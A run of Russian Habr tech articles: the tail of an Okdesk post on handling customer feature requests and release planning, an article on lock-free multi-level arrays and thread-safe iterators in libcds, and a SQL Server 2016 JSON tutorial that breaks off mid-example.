клиентов нет причины, чтобы искать изъяны или недоделки. Они сообщают о том, что им мешает или чего не хватает в системе в рамках ежедневной работы и бизнес задач. Важно понимать, что за сформулированным требованием скрывается реальный сценарий использования системы. Присылаемое требование — уже сформулированный вариант решения проблемы, с которой столкнулся пользователь. Этот вариант решения придуман непосредственно им, зачастую за пару минут и без системного подхода. Проблема в том, что это решение не всегда оптимально. Поэтому мы каждый раз уточняем сценарий использования и проблему, с которой сталкивается пользователь. Такой подход дает возможность предложить оптимальное и системное решение проблемы, которая, с большой вероятностью, рано или поздно возникла бы и у других клиентов. Реализация же пользовательских требований “как есть” может со временем превратить систему в непригодный набор “заплаток” (каким, к сожалению, становятся через пару лет большинство решений). Приведем пример из нашего опыта. В Okdesk есть панель с оперативной информацией о работе службы поддержки: На квадратных плитках отображается количество заявок, соответствующих тому или иному критерию. В частности, на одной из плиток отображается информация о незакрытых, но просроченных заявках. Некоторое время назад от одного из наших клиентов поступило требование: сделать возможным настройку параметров фильтрации, по которым идет подсчет заявок в каждой из плиток. Начали разбираться в сценарии использования и проблеме. Оказалось, что по бизнес-процессу компании, у заявок существуют статусы, в рамках которых, например, ожидается ответ от заявителя, либо ожидается поставка запчастей. Заявки, которые находятся в данных статусах продолжительное время, считаются системой просроченными (и, соответственно, подсчитываются на одной из плиток). Клиент предложил решение — настраивать параметры фильтрации для плитки, в рамках чего он сможет исключить заявки в “замороженных” статусах из подсчета. Но мы нашли другое решение — реализовать в настройках бизнес-процессов параметр “Учитывать время” для статуса. Таким образом, клиент сможет настроить “заморозку” счетчика времени, и отложенные заявки не будут считаться просроченными. Если бы мы бросились реализовать пользовательское требование “как оно есть”, то потратили бы много времени на его разработку (в первую очередь — на разработку удобного интерфейсного решения). Но, углубившись на уровень сценариев использования и проблем, мы смогли найти более простое и понятное решение. В заключении раздела хочется обратить внимание на тот очевидный факт, что обратная связь от пользователя ожидает обратной связи от вас. Если пользователь сформулировал требование или пожелание к системе — важно дать ответ о планах разработки. А когда (и если) ожидаемая функция будет реализована, важно не забыть проинформировать пользователя об этом событии. Во многом, обеспечение обратной связи по пользовательским требованиям пересекается с процессами технической поддержки. Поэтому логичным будет собирать первичные пожелания пользователей и давать им обратную связь в Help Desk системе. Например, для поддержки пользователей Okdesk мы используем Okdesk :). Основные каналы поступления обращений — email и клиентский портал . Поэтому все обращения автоматически становятся заявками в системе. Если обращение является пожеланием к развитию системы, мы уточняем детали пользовательского сценария и описание проблемы. Взаимодействие с пользователем происходит как в рамках переписки по заявке, так и в рамках телефонных разговоров. После выяснения всех подробностей, тикеты с пожеланиями переводятся в специальный статус “Ожидание разработки”. При выпуске нового релиза мы проверяем все заявки в данном статусе, и если какая-то часть из них полностью или частично решается новой функциональностью — сообщаем радостную новость пользователям. Пользователи довольны и ощущают нашу заботу :) Управление требованиями и процесс разработки Help Desk Несколько слов о том, как у нас устроены процессы управления требованиями и разработкой, а также какие инструменты при этом используются. Выше мы уже рассказали, как формируется долгосрочный план развития продукта, откуда берутся варианты развития, и как проводится работа с обратной связью от клиентов. Когда план есть — нужно по нему работать. Перед разработкой кода мы пишем постановки (спецификации, ТЗ — кому как удобно). Все требования разбиты по крупным функциональным модулям и внутри модулей сгруппированы в смысловые блоки. Например, есть крупный функциональный блок “01. Модуль учета заявок”. В нем ряд смысловых блоков “01.01. Карточка заявки”, “01.02. Комментарии к заявкам”, “01.03. Список заявок” и так далее. Отдельно ведем список изменений в требованиях по каждому релизу. Для каждого требования описываем кейсы, варианты решения и причину выбора одного из вариантов. Для всех — ведем (и актуализируем при изменениях) список Test-кейсов. Дорогих специализированных инструментов мы не покупали — на текущий момент хватает Google Docs. Когда требование готово, начинается разработка. Для всех задач мы проводим Code Review (один из основателей проекта отвечает за технологическую часть). После этого новая функция выкатывается на тестовый сервер для поверхностного визуального тестирования — его осуществляет тот же человек, что разрабатывал требование. Если замечания есть — они отправляются на устранение, если замечаний нет — задача уходит на детальное ручное тестирование. После устранения всех замечаний новая задача покрывается автотестами в соответствии с написанными Test-кейсами. После того как все задачи текущего релиза готовы — прогоняем повторное ручное тестирование версии, где собраны все новые функции. Если замечаний нет, скрещиваем пальцы и выкатываем новые функции клиентам. Новый релиз мы стараемся выпускать каждые 3-5 недель. В каждый релиз включаем одну большую функцию и ряд улучшений ранее сделанного. Но бывают большие функциональные блоки, которые не умещаются в один релиз — например, с недели на неделю увидит свет мобильное приложение для работы с заявкам “полевых” сотрудников. На его разработку ушло около 3 месяцев. Используемые в работе инструменты: Google Docs для документов и управления требованиями, Redmine для управления разработкой, GitHub для кода, Slack для коммуникаций, Okdesk для технической поддержки и работы с обратной связью от клиентов. Наши планы на 2017 год Ну и напоследок немного о наших планах (именно планах) по разработке крупных функциональных блоков на 2017 год. С недели на неделю появится мобильное приложение для полноценной работы с заявками “на выезде”. Мобильное приложение будет доступно для платформ Android и iOS (сначала выйдет Android, iOS чуть позже). Следом за мобильным приложением появится возможность учета объектов обслуживания в рамках клиентов (магазины, здания, филиалы и дополнительные офисы). А затем — учет клиентского оборудования (от компьютерной техники до холодильников и охранных систем) в привязке, в том числе, к объектам обслуживания. И, конечно же, мы выпустим множество различных улучшений, делающих работу в системе более удобной и покрывающей бОльшее количество реальных клиентских кейсов. Кажется, будет интересно! Разумных всем требований, системного подхода и хороших продуктов! С наступающим Новым Годом!
https://habrahabr.ru/company/okdesk/blog/317392/
habrahabr
Lock-free структуры данных. Итераторы: multi-level array
['lock-free', 'map', 'iterator', 'libcds']
В предыдущих частях опуса (1, 2, 3) мы рассмотрели внутреннее строение lock-free map и убедились, что все основные операции — поиск, добавление и удаление ключа — могут быть выполнены без...
В предыдущих частях опуса ( 1 , 2 , 3 ) мы рассмотрели внутреннее строение lock-free map и убедились, что все основные операции — поиск, добавление и удаление ключа — могут быть выполнены без глобальных блокировок и даже в lock-free манере. Но стандартный std::map поддерживает ещё одну очень полезную абстракцию — итераторы. Возможно ли реализовать итерабельный lock-free map? Ответ на этот вопрос — под катом. Ещё год назад я был уверен, что итераторы в принципе нереализуемы для lock-free контейнеров. Судите сами: итератор позволяет обойти все элементы контейнера; но в мире lock-free содержимое контейнера постоянно меняется, что же считать под «обойти все элементы»? Итерирование — обход элементов контейнера — занимает некоторое время, за которое одни элементы будут удалены из контейнера, другие — добавлены, но должно существовать некоторое подмножество stable (возможно, пустое) элементов, которые присутствуют в контейнере за все время обхода — от list.begin() до list.end() . Помимо них, мы можем посетить некоторые из добавленных элементов, как и некоторые из удаленных, — как карта ляжет. Очевидно, что задача посетить все элементы в lock-free map невыполнима, — мы не можем заморозить состояние нашего контейнера на все время обхода; такая заморозка фактически означает запрет другим потокам выполнять над контейнером модифицирующие операции, что равносильно блокировке. Спорное утверждение На самом деле, существуют техники «замораживания» состояния конкурентного контейнера, которые не мешают остальным потокам изменять контейнер — добавлять/удалять его элементы. Пожалуй, самая известная из таких техник — это версионные деревья. Суть в том, что в одном дереве хранятся несколько версий контейнера. Каждое добавление в такое дерево порождает ещё одну версию — дерево со своим собственным корнем, которое разделяет (shared) с остальным версиями (деревьями) неизменяемые узлы. Потребитель версионного дерева берет самую последнюю версию дерева (самый свежий корень), и пока он работает с деревом — данная версия остается в дереве. Как только с версией становится не связано ни одного потока-потребителя — версия (то есть все узлы, принадлежащие только этой версии) может быть безопасно удалена. Другая техника — конкурентные контейнеры с поддержкой snapshot (мгновенных снимков контейнера). В чем-то она схожа с версионными контейнерами. Обе эти техники предполагают повышенный расход памяти на хранение версий или снапшотов, равно как и дополнительные операции по поддержке своей внутренней структуры. Зачастую этот перерасход несуществен по сравнению с преимуществами, которые предоставляют такие техники. В данной статье я хочу рассмотреть конкурентные ассоциативные контейнеры без применения подобных техник. То есть вопрос стоит так: можно ли построить такой конкурентный контейнер, который по самой своей внутренней структуре допускает безопасный обход элементов? Итак, будем считать обходом конкурентного контейнера гарантированное посещение всех узлов из подмножества stable. Кроме вопроса «что считать обходом конкурентного контейнера», существует две проблемы: Проблема 1 . Итератор — это по сути специализированный указатель на элемент контейнера. Используя итератор, мы получаем доступ к самому элементу. Но в конкурентном контейнере элемент, на котором позиционирован итератор, может быть в любой момент удален. То есть итератор может в любой момент стать невалидным, — указывать на удаленный элемент, то есть на мусор: Решением данной проблемы в схеме Hazard Pointer является собственно hazard pointer. Вспомним, что схема HP гарантирует, что пока указатель объявлен как hazard, он (указатель) не может быть физически удален, то есть он не может превратиться в тыкву мусор. Введем следующую полезную абстракцию — защищенный указатель guarded_ptr : template <typename T> struct guarded_ptr { hp_guard hp; // защищает элемент T * ptr; // элемент контейнера guarded_ptr(std::atomic<T *>& p) { ptr = hp.protect( p ); } ~guarded_ptr() { hp.clear(); } T * operator ->() const { return ptr; } explicit operator bool() const { return ptr != nullptr; } }; Как видим, guarded_ptr – это просто указатель с hazard pointer'ом. Hazard pointer hp защищает указатель на элемент ptr , предотвращая его физическое удаление. Теперь если даже некий поток B удалит элемент, на который позиционирован итератор, этот элемент будет исключен из контейнера, но физически не будет удален, пока hazard pointer итератора содержит ссылку на данный элемент. Таким образом, в схеме HP класс итератора будет выглядеть следующим образом: template <typename T> class iterator { guarded_ptr<T> gp; public: T* operator ->() { return gp.ptr; } T& operator *() { return *gp.ptr; } iterator& operator++(); }; epoch-based В epoch-based схеме (разновидностью которой является user-space RCU ) надобности в guarded_ptr нет, достаточно потребовать, чтобы итерирование (обход всех элементов контейнера) производилось в одной эпохе: urcu.lock(); // вход в эпоху for ( auto it = m.begin(); it != m.end(); ++it ) { // ... } urcu.unlock(); // выход из эпохи Проблема 2 : переход к следующему элементу. Если некий поток B удалит элемент, следующий за тем, на который позиционирован итератор — в данном случае 42, — операция инкрементирования итератора приведет к обращению к удаленному элементу, то есть к мусору. Эта проблема посложнее, чем первая, так как потоки ничего не знают о том, что мы обходим контейнер, и вольны удалять/добавлять любые элементы. Можно подумать о том, чтобы каким-то образом помечать элемент, на который указывает итератор, и при удалении элемента анализировать такой флаг, но это как минимум усложнит внутреннее строение контейнера (а как максимум — такие рассуждения ни к чему не приведут). Есть другой путь, который нам подскажет интересная структура данных — multi-level array. Multi-level array Эта структура данных предложена в 2013 году Стивом Фельдманом (Steve Feldman) и представляет собой ассоциативный контейнер, то есть hash map. Представим, что хеш — это битовая строка постоянной длины. Будем рассматривать биты этой строки как индексы в многоуровневом массиве: первые M бит — это индекс в головном масиве head array (на рисунке M=4, то есть размер head array равен 2**4 = 16), следующие порции по N бит — это индексы в нижележащих массивах node array (на рисунке N = 2 и размерность node array равна 2**2 = 4). Элемент массива может быть: пуст указателем на данные указателем на массив следующего уровня Пустой multi-level array состоит только из head array, у которого все ячейки — пустые. Добавление данных data с ключом key в multi-level array происходит по следующему алгоритму: 1. вычисляем хеш ключа h = hash( key ) 2. Берем первые M бит хеша h – это индекс i ячейки в head array 3a. Если ячейка пуста ( head_array[i] == nullptr ), то помещаем данные в неё: head_array[i].CAS( nullptr, &data ) — и выходим. Так как у нас lock-free контейнер, мы используем атомарные операции, в данном случае — CAS (compare-and-swap, в терминах C++11 – это std::compare_exchange ). 3b. Если ячейка содержит данные ( head_array[i] = di ), нужно её расщепить, то есть создать node array следующего уровня, поместить в него di и перейти к шагу 4. 3c. Если ячейка содержит указатель на нижележащий node array – перейти к шагу 4. 4. Текущий array – некий node array. Берем следующие N бит хеша ключа h , эти биты будут индексом i в текущем node array. Если все биты хеша исчерпаны — значит, в контейнере уже есть элемент с таким же хешем и вставка данных data заканчивается неудачей. 4a. Если ячейка пуста ( current_node_array[i] == nullptr ), то помещаем данные в неё: current_node_array[i].CAS( nullptr, &data ) — и выходим 4b. Если ячейка содержит данные ( current_node_array[i] = di ), нужно её расщепить, то есть создать node array следующего уровня, поместить в него di и перейти к шагу 4. 4c. Если ячейка содержит указатель на нижележащий node array – перейти к шагу 4. Как видим, алгоритм вставки очень прост и интуитивно понятен — его легче нарисовать, чем описывать словами. Алгоритм удаления ещё проще: рассматривая хеш-значение удаляемого ключа как битовую строку, выделяя биты и интерпретируя их как индексы в массивах, мы спускаемся по ссылкам до массива, ячейка которого либо пуста, либо содержит данные. Если ячейка пуста, — значит, нашего ключа (точнее, его хеша) нет в контейнере и удалять нечего. Если ячейка содержит данные и ключ этих данных есть искомый ключ — меняем значение ячейки на nullptr с помощью атомарной операции CAS. Заметим, что при удалении мы просто обнуляем ячейку массива, сами node_array никогда не удаляются, — этот факт нам пригодится в дальнейшем. Остается открытым вопрос: как различить, что содержит ячейка массива — данные или указатель на массив следующего уровня. В обычном программировании мы бы поместили в каждый слот массива булевый признак: struct array_slot { union { T* data; node_array* array; }; bool is_array; // признак, что содержит ячейка — data или array }; Но у нас программирование необычное, и этот подход нам не подойдет. Необычность заключается в том, что мы должны оперировать атомарным примитивом CAS, который имеет ограничение на длину данных. То есть изменять значение ячейки и признака is_array мы должны уметь атомарно, одним CAS'ом. Это не является проблемой, если вы читали предыдущую часть lock-free эпопеи и знаете, что есть такая вещь как marked pointer . Мы будем хранить признак is_array в младшем бите указателя ячейки массива: template <typename T> using array_slot = marked_ptr<T*, 3 >; Таким образом, ячейка массива — это просто указатель, у которого мы используем последние 2 бита (маска 3 у marked_ptr ) для внутренних флагов: один бит для признака «ячейка содержит указатель на массив следующего уровня», плюс ещё один бит для… а для чего?.. Посмотрим внимательно на алгоритм вставки. Шаги 3b и 4b говорят о расщеплении ячейки, то есть превращении её из ячейки, содержащей данные, в ячейку, содержащую указатель на нижележащий массив. Такое преобразование довольно длительно, так как требует: создания нового node_array; обнуления всех его элементов; поиска позиции в новом node_array для данных расщепляемой ячейки; записи в новый node_array в найденную позицию данных расщепляемой ячейки; и наконец, установки нового значения расщепляемой ячейки Пока производятся все эти действия, расщепляемая ячейка находится в неопределенном состоянии. Именно это состояние мы и кодируем вторым младшим битом. Все операции над multi-level array, встретив флаг «ячейка расщепляется», ожидают окончания расщепления такой ячейки, используя активное ожидание (spinning) на этом флаге: на рисунке черные данные — это добавляемый ключ Dn , синие — существующий D Заметки на полях — квантовая механика lock-free контейнеров Пока я писал все это о расщепляемой ячейке, пришла мысль: а так ли необходим этот флаг, раз он приводит к spinning'у на нем всех других потоков, включая и операцию поиска, которая для контейнеров типа set/map должна быть наиболее быстрой?.. Рассмотрим по операциям. В общем, map поддерживает всего три операции (остальное — их разновидности): поиск, вставку и удаление ключа. Для поиска факт «ячейка находится в стадии расщепления» совершенно не важен: поиск должен посмотреть, что это за ячейка; если ячейка содержит указатель на данные — надо сравнить ключ данных с искомым (раз мы уперлись в ячейку с данными, значит, префикс битовой строки — хеша искомого ключа и данных в ячейке — совпадают и данные в ячейке могут быть искомыми). Если же ячейка — указатель на массив, мы должны просто перейти в этот массив и продолжить поиск в нем. Предположим, что искомый ключ — это именно те данные, ради которых расщепляется ячейка, то есть мы имеем ситуацию: один поток ищет ключ K, другой поток — добавляет данные с этим же ключом K, и это происходит одновременно. Раз это происходит одновременно, операция поиска будет правильной как в случае «ключ найден», так и в случае «ключ не найден». Получается, что для операции поиска флаг расщепления не нужен. Операция вставки. Если вставка натыкается на расщепляемую ячейку, значит, другой поток добавляет данные с префиксом хеш-значения ключа тем же самым, что и текущий поток. В этом случае оба потока (обе операции вставки) могли бы «помочь» друг другу, создавая каждая node_array и пытаясь установить его в качестве значения расщепляемой ячейки. Так как значение ячейки устанавливается примитивом CAS, а node_array никогда не удаляются (то есть ABA-проблемы для указателей на node_array быть не может), только один из потоков вставки выйдет победителем (установит новое значение расщепляемой ячейки), второй поток обнаружит, что значение ячейки изменилось и надо удалить node_array, который он (этот второй поток) пытается создать, и использовать то значение расщепляемой ячейки, которое появилось. То есть для вставки флаг расщепления тоже не нужен. Удаление. Прежде чем удалить, надо найти то, что нужно удалять, то есть удаление в этом смысле равносильно поиску и флаг расщепления не нужен. Единственная операция, над которой надо подумать, — это update, обновление данных. Если флаг расщепления ячейки устанавливает низкоприоритетный поток, а потом он вытесняется, это может быть очень болезненным для общей производительности контейнера, так как остальные потоки, более приоритетные, будут ожидать окончания выполнения расщепления, то есть ожидать, пока низкоприоритетный поток выполнит свою работу. В этом случае избавление от флага расщепления может быть очень полезным. Структура данных multi-level array проста и интересна, но её особенностями (хотел написать «недостатками», но это все же особенности) являются: она требует идеального хеширования. Идеальная хеш-функция — это такая хеш-функция h , которая для любых ключей k1 и k2 таких, что k1 != k2 , дает разные хеш-значения: h(k1)!= h(k2) . То есть multi-level array не допускает коллизий. ключи (или хеш-значения ключей) разного размера не поддерживаются. То есть ключ std::string переменной длины нельзя использовать как битовую строку. Но если ваш ключ постоянного размера (или вы имеете идеальную хеш-функцию), multi-level array является очень хорошим lock-free контейнером, ИМХО. В принципе, можно обобщить multi-level array, чтобы он поддерживал списки коллизий: для этого достаточно вместо данных использовать lock-free список в качестве списка коллизий. Другое обобщение для ключей переменной длины: считать, что у короткого ключа все остальные биты в битовой строке равны нулю. Дальнейшие фантазии Интересно также заменить слово «ключ» на слово «индекс», — в этом случае мы получим нечто очень похожее на lock-free vector. Операции push_back и pop_back можно сделать, если хранить в отдельной атомарной переменной текущий размер массива. Вот только если два потока одновременно выполняют push_back возможна ситуация, когда в массиве на некоторое время появится дыра: поток A инкрементирует счетчик, получает индекс j и вытесняется, а поток B получает индекс j+1 и успешно выполняет вставку по этому индексу. Здесь нам помогла бы операция 2-CAS (или её обобщение — multi-CAS, MCAS), которая может атомарно выполнять CAS над двумя (или M) несвязанными ячейками памяти. Но для целей данной статьи важно одно свойство multi-level array: однажды созданный node array никогда не удаляется. А из этого вытекает мощное следствие: multi-level array поддерживает thread-safe итераторы , более того, это bidirectional-итераторы. В самом деле, раз node array не удаляются, итератор есть указатель на node array плюс индекс в node array, что есть «указатель» на ячейку: class iterator { guarded_ptr<T> gp_; node_array* node_; int node_index_; }; guarded_ptr здесь необходим, так как конкурентный поток может удалить данные, на которые позиционирован итератор; guarded_ptr препятствует физическому удалению. Получается, что итератор может указывать на элемент, который удален из контейнера — ещё одно неожиданное свойство lock-free структур данных. Но если хорошо подумать, такое свойство вполне объяснимо: в постоянно меняющемся мире, который представляют из себя конкурентные контейнеры, можно гарантировать только одно: на момент позиционирования итератора данная ячейка содержала валидные данные. Указатель node_ на node_array и индекс в нем node_index_ необходимы в итераторе для перехода к следующему (или предыдущему) элементу контейнера, то есть они фактически определяют текущую позицию итератора в контейнере. Интересно отметить, что если у нас ключи постоянного размера, а не хеш-значения, то обход multi-level array является упорядоченным. Рекламная пауза Если вас интересуют подробности реализации, их можно посмотреть в libcds , класс FeldmanHashSet/Map (основные операции здесь — cds/intrusive/impl/feldman_hashset.h для HP-based SMR, cds/intrusive/feldman_hashset_rcu.h – для user-space RCU). Подводя итог, можно сказать: все же существуют конкурентные контейнеры, поддерживающие thread-safe итераторы, одним из таких контейнеров является multi-level array. Существуют ли другие?.. Можно ли создать итерируемый lock-free список, являющийся основой для многих интересных lock-free map?.. Ответ на этот вопрос — в следующей статье. Lock-free структуры данных Начало Основы: Атомарность и атомарные примитивы Откуда пошли быть барьеры памяти Модель памяти Внутри: Схемы управления памятью RCU Эволюция стека Очередной трактат Диссекция очереди Concurrent maps: разминка Concurrent maps: rehash, no rebuild Concurrent maps: skip list Concurent maps: деревья Итераторы: multi-level array Iterable list Извне: Введение в libcds
https://habrahabr.ru/post/314948/
habrahabr
Работаем с JSON в SQL Server 2016
['mssql', 'json', 'sql server', 'tutorial']
JSON сейчас один из самых используемых форматов данных в разработке. Большинство современных сервисов возвращают информацию в виде JSON. JSON также предпочитаемый формат для хранения...
JSON сейчас один из самых используемых форматов данных в разработке. Большинство современных сервисов возвращают информацию в виде JSON. JSON также предпочитаемый формат для хранения структурированный информации в файлах, например. Так как очень много данных используется в JSON-формате, то поддержка JSON в SQL Server особенно становится актуальной, чтобы иметь возможность обмениваться данными с другими сервисами. JSON стал одной из самых востребованных фич, добавленных в SQL Server 2016. Далее в статье мы рассмотрим основные механизмы работы с JSON. Краткий обзор Функции для работы с JSON в SQL Server позволяют анализировать и запрашивать данные JSON, преобразовывать JSON в реляционный вид и экспортировать результат SQL-запроса как JSON. Если у вас есть JSON, вы можете достать оттуда данные или проверить их на валидность, используя встроенные функции JSON_VALUE, JSON_QUERY и ISJSON. Для изменения данных может быть использована функция JSON_MODIFY. Для более продвинутого использования функция OPENJSON позволяет преобразовывать массив JSON объектов в набор строк. Затем над этим набором можно выполнить любой SQL-запрос. Наконец, существует конструкция FOR JSON, которая преобразует результат запроса в JSON. Посмотрим на несколько простых примеров. В следующем коде мы определим текстовую переменную, в которой будет JSON: DECLARE @json NVARCHAR(4000) SET @json = N'{ "info":{ "type":1, "address":{ "town":"Bristol", "county":"Avon", "country":"England" }, "tags":["Sport", "Water polo"] }, "type":"Basic" }' Теперь мы можем получить отдельные значения или объекты из JSON с помощью JSON_VALUE и JSON_QUERY: SELECT JSON_VALUE(@json, '$.type') as type, JSON_VALUE(@json, '$.info.address.town') as town, JSON_QUERY(@json, '$.info.tags') as tags Этот запрос вернет «Basic», «Bristol» и [«Sport», «Water polo»]. Функция JSON_VALUE возвращает скалярное значение из JSON (то есть строку, число, булевское значение), которое расположено по «пути», указанному вторым параметром. JSON_QUERY возвращает объект или массив (в нашем примере это массив тегов) по «пути». Встроенные функции JSON используют похожий на JavaScript синтаксис для обращения к значениям и объектам в качестве второго параметра. Функция OPENJSON позволяет обратиться к массиву внутри JSON и возвратить элементы этого массива: SELECT value FROM OPENJSON(@json, '$.info.tags') В этом примере возвращаются строковые значения из массива тегов. Кроме того, OPENJSON может возвращать любой сложный объект. Наконец, конструкция FOR JSON может отформатировать любой результат выполнения SQL-запроса в JSON: SELECT object_id, name FROM sys.tables FOR JSON PATH Рассмотрим эти функции подробнее. Хранение данных JSON в SQL Server В SQL Server JSON хранится как текст. Вы можете использовать тип NVARCHAR для этого. В следующем примере мы будем хранить JSON в поле InfoJson: CREATE TABLE Person ( Id int IDENTITY PRIMARY KEY NONCLUSTERED, FirstName nvarchar(100) NOT NULL, LastName nvarchar(100) NOT NULL, InfoJson nvarchar(max) ) WITH (MEMORY_OPTIMIZED=ON) В SQL Server 2016 вы можете комбинировать обычные столбцы (FirstName и LastName в примере) и столбцы с JSON (InfoJSON в примере) в одной таблице. Также вы можете комбинировать столбцы JSON со столбцами с пространственными данными (spatial columns) и XML. В отличие от только реляционных или только документоориентированных хранилищ, вы можете выбирать принципы хранения для достижения большей гибкости в разработке. Хотя JSON хранится в текстовых столбцах, это не просто обычный текст. В SQL Server есть механизм для оптимизации хранения текстовых столбцов с использованием различных механизмов сжатия, таких как сжатие UNICODE, которые позволяют экономить до 50% размера. Также вы можете хранить JSON в таблицах с columnstore индексами или сжимать их явно с использованием встроенный функции COMPRESS, которая использует алгоритм GZip. JSON полностью совместим с любым компонентом SQL Server, который работает с типом NVARCHAR. В примере выше, JSON хранится в OLTP (Hekaton) таблице в памяти, которая предлагает суперпроизводительность. Вы можете хранить JSON в обычных таблицах, использовать columnstore индексы или FILESTREAM. Вы также можете загружать его из Hadoop используя таблицы Polybase, считывать из файловой системы, работать с ним в Azure SQL, использовать репликацию и т.д. Если вы скомбинируете таблицы, в которых хранится JSON с другими фичами SQL Server, такими как безопасность временных таблиц или безопасность на уровне строк, вы можете обнаружить мощные возможности, которые недоступны в существующих документоориентированных СУБД. Если вы хотите обеспечить валидность хранимого JSON, вы можете добавить проверку на валидность с помощью ограничения и функции ISJSON: ALTER TABLE Person ADD CONSTRAINT [Content should be formatted as JSON] CHECK ( ISJSON( InfoJSON )> 0 ) Во время выполнения ваши запросы не будут работать, если JSON отформатирован неправильно. Т.к. JSON представлен в виде текста, нет необходимости менять что-то в ваших приложениях. Вы можете работать с JSON как с обычными строками. JSON может быть загружен с помощью ORM как строка и отправлен в клиентское JavaScript-приложение. Любые утилиты извлечения данных также будут работать. Встроенные функции для обработки JSON SQL Server 2016 предлагает несколько функций для обработки JSON: ISJSON ( jsonText ) проверяет валидность JSON на соответствие спецификации. С помощью этой функции вы можете накладывать ограничения на столбцы, содержащие JSON JSON_VALUE ( jsonText, path ) разбирает jsonText и выделяет отдельные значения по определенному «пути» (см. примеры ниже) JSON_QUERY ( jsonText, path ) разбирает jsonText и выделяет объекты или массивы по определенному «пути» (см. примеры ниже) JSON_MODIFY ( jsonText, path, newValue) изменяет значение какого-либо свойства по определенному «пути (см, примеры ниже) Эти функции используют „пути“ в JSON для обращения к значениям или объектам. Примеры: '$' // ссылается на весь объект JSON в исходном тексте '$.property1' // ссылается на property1 в объекте JSON '$[4]' // ссылается на 5-й элемент в массиве (индексы начинаются с 0) '$.property1.property2.array1[5].property3.array2[15].property4' // ссылается на вложенное свойство '$.info."first name"' // ссылается на свойство "first name" в объекте. Если название свойства содержит спецсимволы (пробелы, знак доллар и т.д.), то его нужно заключить в двойные кавычки При использовании функции JSON_MODIFY в параметре path могут быть использованы дополнительные модификаторы. В общем случае синтаксис „пути“ выглядит как: [append] [ lax | strict ] $.json_path При указании модификатора append новое значение будет добавлено к массиву, на который ссылается json_path. Модификатор lax устанавливает режим работы, при котором неважно, существует свойство или нет. Если его нет, то будет добавлено. При использовании strict, если свойства нет, будет сгенерирована ошибка. Знак доллара ($) ссылается на весь объект JSON (аналогично корневому узлу „/“ в XPath). Вы можете добавлять любое свойство после „$“ для обращения к элементам объекта. Рассмотрим простой пример: SELECT Id, FirstName, LastName, JSON_VALUE(InfoJSON, '$.info."social security number"') as SSN, JSON_QUERY(InfoJSON, '$.skills') as Skills FROM Person AS t WHERE ISJSON( InfoJSON ) > 0 AND JSON_VALUE(InfoJSON, '$.Type') = 'Student' Этот запрос возвращает имя и фамилию из обычных столбцов, социальный номер и массив навыков из JSON столбца. Результаты фильтруются по условию, при котором столбец InfoJSON должен содержать валидный JSON и значение Type в JSON столбце равно „Student“. Как вы уже поняли, вы можете использовать значения из JSON в любой части запроса (сортировка, группировка и т.п.). Преобразование JSON в реляционный вид – OPENJSON Функция OPENJSON возвращает таблицу, которая определяет массив объектов, проиводит итерацию по массиву и выводит каждый элемент массива в строке. Пример Данные на входе (JSON): { "Orders": [ { "Order": { "Number": "S043659", "Date": "2011-05-31T00:00:00" }, "Account": "Microsoft", "Item": { "Price": 59.99, "Quantity": 1 } }, { "Order": { "Number": "S043661", "Date": "2011-06-01T00:00:00" }, "Account": "Nokia", "Item": { "Price": 24.99, "Quantity": 3 } } ] } SQL-запрос: SELECT * FROM OPENJSON(@json, N'$.Orders') WITH ( Number VARCHAR(200) N'$.Order.Number', Date DATETIME N'$.Order.Date', Customer VARCHAR(200) N'$.Account', Quantity INT N'$.Item.Quantity' ) Результат | Number | Date | Customer | Quantity ---------------------------------------------------------- | S043659 | 2011-05-31 00:00:00.000 | Microsoft | 1 | S043661 | 2011-06-01 00:00:00.000 | Nokia | 3 В примере выше мы определили, где будем искать массив JSON, который обрабатываем (т.е. по пути $.Orders), какие столбцы возвращаем и где в объектах JSON находятся значения, которые мы возвращаем как ячейки. OPENJSON может быть использован в любом запросе при работе с данными. Как в примере, мы можем преобразовать массив JSON из переменной orders в набор строк и затем вставить их в обычную таблицу: INSERT INTO Orders(Number, Date, Customer, Quantity) SELECT Number, Date, Customer, Quantity OPENJSON (@orders) WITH ( Number varchar(200), Date datetime, Customer varchar(200), Quantity int ) AS OrdersArray 4 столбца возвращаемого OPENJSON набора данных определены с помощью конструкции WITH. OPENJSON попытается найти свойства Number, Date, Customer и Quantity в каждом объекте JSON и преобразовать значения в столбцы в результирующем наборе данных. По умолчанию, если свойство не найдено, будет возвращен NULL. Предполагаем, что в переменной orders содержится следующий JSON: '[ {"Number":1, "Date": "8/10/2012", "Customer": "Adventure works", "Quantity": 1200}, {"Number":4, "Date": "5/11/2012", "Customer": "Adventure works", "Quantity": 100}, {"Number":6, "Date": "1/3/2012", "Customer": "Adventure works", "Quantity": 250}, {"Number":8, "Date": "12/7/2012", "Customer": "Adventure works", "Quantity": 2200} ]' Как видите, преобразование из JSON в реляционную форму очень простое. Все, что нужно, это определить имена столбцов и типы, а OPENJSON найдет свойства в JSON, которые соответствуют столбцам. В этом примере используется простой одноуровневый JSON, но OPENJSON может работать и со сложными вложенными объектами. Также OPENJSON может быть использован, когда нужно скомбинировать реляционные данные и JSON в одном и том же запросе. Предположим, что массив JSON из предыдущего примера хранится в столбце OrdersJson. Следующий запрос вернет обычные и JSON поля: SELECT Id, FirstName, LastName, Number, Date, Customer, Quantity FROM Person CROSS APPLY OPENJSON (OrdersJson) WITH ( Number varchar(200), Date datetime, Customer varchar(200), Quantity int ) AS OrdersArray OPENJSON обработает массив в каждой ячейке и вернет одну строку для каждого объекта JSON в массиве. Синтаксис CROSS APPLY OPENJSON используется для объединения строк таблицы с данными JSON. Индексирование данных JSON Хотя значения в JSON хранятся как текст, вы можете индексировать их как обычные значения в столбцах. Можно использовать некластеризованные или полнотекстовые индексы. Если нужно создать индекс на каком-либо свойстве JSON, которое часто используется в запросах, вы можете создать вычисляемый столбец, который ссылается на нужное свойство, затем создать обычный индекс по этому полю. В следующем примере мы оптимизируем запросы, которые фильтруют строки, используя свойство $.Company из столбца InfoJSON: ALTER TABLE Person ADD vCompany AS JSON_VALUE(InfoJSON, '$.Company') CREATE INDEX idx_Person_1 ON Person(vCompany) SQL Server предоставляет гибридную модель, в которой вы можете комбинировать обычные столбцы и значения из JSON в одном индексе. Т.к. JSON это просто текст, можно использовать полнотекстовый индекс. Полнотекстовые индексы могут быть созданы на массиве значений. Вы создаете полнотекстовый индекс на столбце, который содержит массив JSON, или можете создать вычисляемый столбец, который ссылается на массив и добавить полнотекстовый индекс на этот столбец: ALTER TABLE Person ADD vEmailAddresses AS JSON_QUERY(InfoJSON, '$.Contact.Emails') CREATE FULLTEXT INDEX ON Person(vEmailAddresses) KEY INDEX PK_Person_ID 